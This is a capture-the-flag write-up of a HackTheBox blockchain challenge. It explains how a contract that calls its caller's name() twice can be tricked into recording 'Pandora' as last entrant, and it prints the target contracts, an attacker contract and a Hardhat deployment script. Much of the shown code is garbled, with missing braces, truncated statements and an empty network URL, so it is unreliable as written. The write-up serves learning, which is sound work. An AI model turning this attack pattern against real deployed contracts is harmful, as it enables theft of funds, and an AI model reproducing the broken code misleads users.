Greetings :)

This writeup is going to be about The Art Of Deception challenge from HackTheBox Cyber Apocalypse CTF - 2023.
This is a beginner friendly blockchain challenge.

We were gieven a RPC connection info, Private Key of a wallet, and Address of that wallet with 5 ETH for gas fees.
RPC is used for connecting, interacting and querying of the blockchain data. We were also given deployed addresses for two smart contracts Setup.sol and FortifiedPerimeter.sol which are provided below.


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {HighSecurityGate} from "./FortifiedPerimeter.sol";

contract Setup {
    HighSecurityGate public immutable TARGET;

    constructor() {
        TARGET = new HighSecurityGate();

    function isSolved() public view returns (bool) {
        return TARGET.strcmp(TARGET.lastEntrant(), "Pandora");


// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.18;

interface Entrant {
    function name() external returns (string memory);

contract HighSecurityGate {

    string[] private authorized = ["Orion", "Nova", "Eclipse"];
    string public lastEntrant;

    function enter() external {
        Entrant _entrant = Entrant(msg.sender);

        require(_isAuthorized(, "Intruder detected");
        lastEntrant =;

    function _isAuthorized(string memory _user) private view returns (bool){
        for (uint i; i < authorized.length; i++){
            if (strcmp(_user, authorized[i])){
                return true;
        return false;

    function strcmp(string memory _str1, string memory _str2) public pure returns (bool){
        return keccak256(abi.encodePacked(_str1)) == keccak256(abi.encodePacked(_str2));

The goal of the challenge was to return true from the isSolved() function of the deployed Setup contract. For that function to return true, the goal was to set the value of variable lastEntrant in the HighSecurityGate contract to Pandora.

Environment Setup:

I decided to use hardhat for this project.

Steps to setup the project are stated below:

  1. mkdir DeceptionArtist
  2. cd DeceptionArtist
  3. npm install --save-dev hardhat
  4. npx hardhat

Those steps will provide ready to use hardhat project.

Next step would be to delete all the sample files under contract, scripts and test directories, and hardhat.config.js file.

rm -rf ./contracts/* ; rm -rf ./test/* ; rm -rf ./scripts/* ; rm hardhat.config.js

Let’s create our hardhat.config.js file from scratch.


const PRIVATE_KEY = "0x6e4a7c3122c53e552b8901a90dd0d6104bdda6376fc163e6d25a7b5cbbe165bd";

module.exports = {
  solidity: "0.8.18",

  defaultNetwork: "HTB",
  networks: {
    hardhat: {
    HTB: {
      url: "",
      gas: 2100000,
      gasPrice: 8000000000,
      accounts: [PRIVATE_KEY]

In the given hardhat config file, first, we add required hardhat-toolbox library. Then, we assign the provided private key to PRIVATE_KEY variable.

After that within module.exports we assign solidity verison, and also the network that was provided. I named the network HTB, and also added gas related information so that the transaction that need more gas fee than the normal transaction can go through easily.

It’s time to understand how the given HighSecurityGate contract can be pwned ;)

Code Analysis

We can see the code for the HighSecurityGate contract here: 1

Let’s go through each line.

  1. First of all, license information is defined in line number one.
  2. Solidity version is defined in line number 2.
  3. Line 4 - 6 defines interface named Entrant. This is very important section for this challenge. In solidity, an interface is basically prototype or description of all the functions that an object must have to operate. It cannot have functions implemented within it, but rather functions implement the given interface. It also cannot have state variable or constructors. In the given contract, the name of our Interface is Entrant, and it has definition for function named name() which doesn’t take any parameter, has external visibility and returns string.
  4. Then, from line 8 we start HighSecurityGate contract.
  5. In line number 10, a string array named authorized is declared with three hardcoded names Orion, Nova, and Eclipse.
  6. In line 11, a variable named lastEntrant of type string is declared.
  7. In line 13 function named enter() is defined which is external. Inside that function, the bug occurs.
  8. In line 14, the msg.sender is casted into an instance of the Entrant interface that has name function. Since it creates interface instance with msg.sender we can create our attacker contract and call this name() function from there as msg.sender is the contract or account that calls the function. As interfaces allow us to implement the functions, we can setup our own name() function in the attacker contract and call enter() function of the target contract with our attacker contract.
  9. In line 16, a checking is done to ensure that the keccak256 has of the name() function returns a value that matches keccak256 hash of one of the values in authorized array. If it matches, it continues, otherwise returns Intruder detected and reverts.
  10. Finally. line 17 sets the value of lastEntrant to the value that is returned by calling name() function AGAIN.


The problem is that the msg.sender is being used to create instance using interface. Furthermore, is calling the name() function of the created instance twice. So, in the first call to the name() function, we can return the value Nova to pass the require() statement. And in the second call to the name() function, we can return the value Pandora which sets the value of variable lastEntrant to Pandora. That solves the challenge.

Our Attacker Contract

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.18;

interface Entrant {
    function name() external returns (string memory);

contract Hecker is Entrant{

  address public TargetContract = 0x50067D3BB09E1E7130e19D8876be00D16cBB7dfF;

  bool isFirstCall = true;

  function name() external returns (string memory) {

    if (isFirstCall) {
        isFirstCall = false;
        return "Nova";
    } else {
        return "Pandora";

  function enterCall() external {
    (bool success,) = address(TargetContract).call(
    require(success, "call to target contract failed");

In this Hecker contract, we use same interface as in the HighSecurityGate contract. Then, TargetContract is defined which is the address of the deployed HighSecurityGate contract. I defined bool isFirstCall = true which is used to modify condition in if-else block later to return different values for name() function call. Then, name() function is defined which checks if isFirstcall is true, and thus returns Nova in the first call which passes the require() check. After that, when name() function is called again while setting the value of lastEntrant variable, this function returns Pandora. It sets the value of lastEntrant to Pandora.Finally, the call to the target contract is done within enterCall() function which makes call to the target contract using call() function.

Javascript code to interact, deploy, and call the functions:

const { ethers } = require("hardhat");

async function main() {

    // Get deployer account
    const [deployer] = await ethers.getSigners();

    // Deployer's Balance
    console.log('Interacting with the account: ' + deployer.address);
    console.log("Account balance:", (await deployer.getBalance()).toString());

    // Access Setup contract
    const Setup = "0xb7771807BA9845F52FeB155bf812F49c3c40F5b2";
    const setup = await ethers.getContractAt("Setup", Setup);
    console.log( "Setup Contract Address: " + Setup);

    // Access HighSecurityGate contract
    const HighSecurityGate = "0x50067D3BB09E1E7130e19D8876be00D16cBB7dfF";
    const highsecuritygate = await ethers.getContractAt("HighSecurityGate", HighSecurityGate);
    console.log( "HighSecurityGate Contract Address: " + HighSecurityGate);

    // Before attack
    last = await highsecuritygate.lastEntrant()
    console.log("Last Entrant Value = ", last);

    // Call solved function
    solved = await setup.isSolved();
    console.log("Is Solved: " + solved);

    // // Deploy Attacker Contract
    const Hecker = await ethers.getContractFactory("Hecker");
    const hecker = await Hecker.deploy();
    console.log("Hacker Contract deployed at:", hecker.address);

    // Call Attacker contract's method
    await hecker.enterCall();

    // After attack
    last = await highsecuritygate.lastEntrant()
    console.log("Last Entrant Value = ", last);

    // After attack
    solved = await setup.isSolved();
    console.log("Is Solved: " + solved);

    if(String(solved) === String("true")){
      console.log("Successfully Changed to Pandora. :) ")
      console.log("PWNED Successfully")
  } else {
    console.log("Not Yet")

    .then(() => process.exit())
    .catch(error => {

I have my script under scripts directory, and contracts under contracts directory.

npx hardhat compile; npx hardhat run scripts/scriptname.js compiles all of the contracts and runs the script.

Here is a gif showing the process:


Hope this was helpful. Thanks for reading.

Happy Learning :)